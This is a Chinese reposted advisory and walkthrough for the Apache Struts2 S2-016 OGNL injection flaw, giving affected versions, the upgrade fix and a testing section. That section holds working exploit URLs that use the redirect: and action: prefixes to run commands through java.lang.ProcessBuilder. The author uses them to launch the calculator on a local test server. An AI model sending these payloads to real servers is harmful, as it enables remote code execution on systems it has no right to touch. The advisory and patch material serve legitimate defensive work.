您的位置:首页 > 运维架构 > Apache

Apache Struts2 多个前缀参数远程命令执行漏洞及测试方法

2013-08-10 10:26 811 查看
受影响的软件及系统:

====================

Apache Struts 2.0.0 - Apache Struts 2.3.15

未受影响的软件及系统:

======================

Apache Struts 2.3.15.1及以上版本

综述:

======

Apache Struts2在处理action、redirect、和redirectAction前缀参数时存在一个安全漏洞,攻击者可以通过提交带有恶意的Ongl表达式,远程执行任意命令。

目前Apache Struts2已经在2.3.15.1中修补了这一漏洞。强烈建议Apache Struts2用户检查您是否受此问题影响,并尽快升级到最新版本。

分析:

======

Struts2 是第二代基于Model-View-Controller (MVC)模型的java企业级web应用框架。它是WebWork和Struts社区合并后的产物。

Apache Struts2的action:、redirect:和redirectAction:前缀参数在实现其功能的过程中使用了Ognl表达式,并将用户通过URL提交的内容拼接入Ognl表达式中,从而造成攻击者可以通过构造恶意URL来执行任意Java代码,进而可执行任意命令。

redirect:和redirectAction:此两项前缀为Struts默认开启功能,目前Struts 2.3.15.1以下版本均存在此漏洞。

测试方法:

==========

由于Apache Struts2 在最新修补版本2.3.15.1中已经禁用了重定向参数,因此只要重定向功能仍然有效,则说明受此漏洞影响:

http://host/struts2-showcase/employee/save.action?redirect:http://www.yahoo.com/

如果页面重定向到www.yahoo.com,则表明当前系统受此漏洞影响。

验证表达式解析和命令执行:

http://host/struts2-showcase/employee/save.action?redirect:%25{3*4}

http://host/struts2-showcase/employee/save.action?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}

厂商状态:

==========

厂商已经发布Apache Struts 2.3.15.1以修复此安全漏洞,建议Struts用户及时升级到最新版本。

厂商安全公告:S2-016

链接:http://struts.apache.org/release/2.3.x/docs/s2-016.html

软件升级页面:http://struts.apache.org/download.cgi#struts23151

附加信息:

==========

1. http://struts.apache.org/release/2.3.x/docs/s2-016.html

2. http://www.nsfocus.net/vulndb/24131

3. http://www.nsfocus.net/index.php?act=alert&do=view&aid=138

打开http://struts.apache.org/release/2.3.x/docs/s2-016.html,其实Struts官方已经给出了如何测试,都是在地址栏中输入参数。

简单介绍下测试的过程,

1.官网下载Struts的Sample,版本为2.1.8(这个版本的能重现上述的bug),将war包放置在${Tomcat.Home}/webapps目录下,启动Tomcat。

2.访问网站的任意action,

以下内容具有攻击性,仅供学习。
http://host/struts2-blank/example/X.action?action:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'calc','goes','here'})).start()}
上面的方式是调用服务器的计算器,参数前缀也可以改为redirect、redirectAction。

3.执行后,在服务器会出现计算器。
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: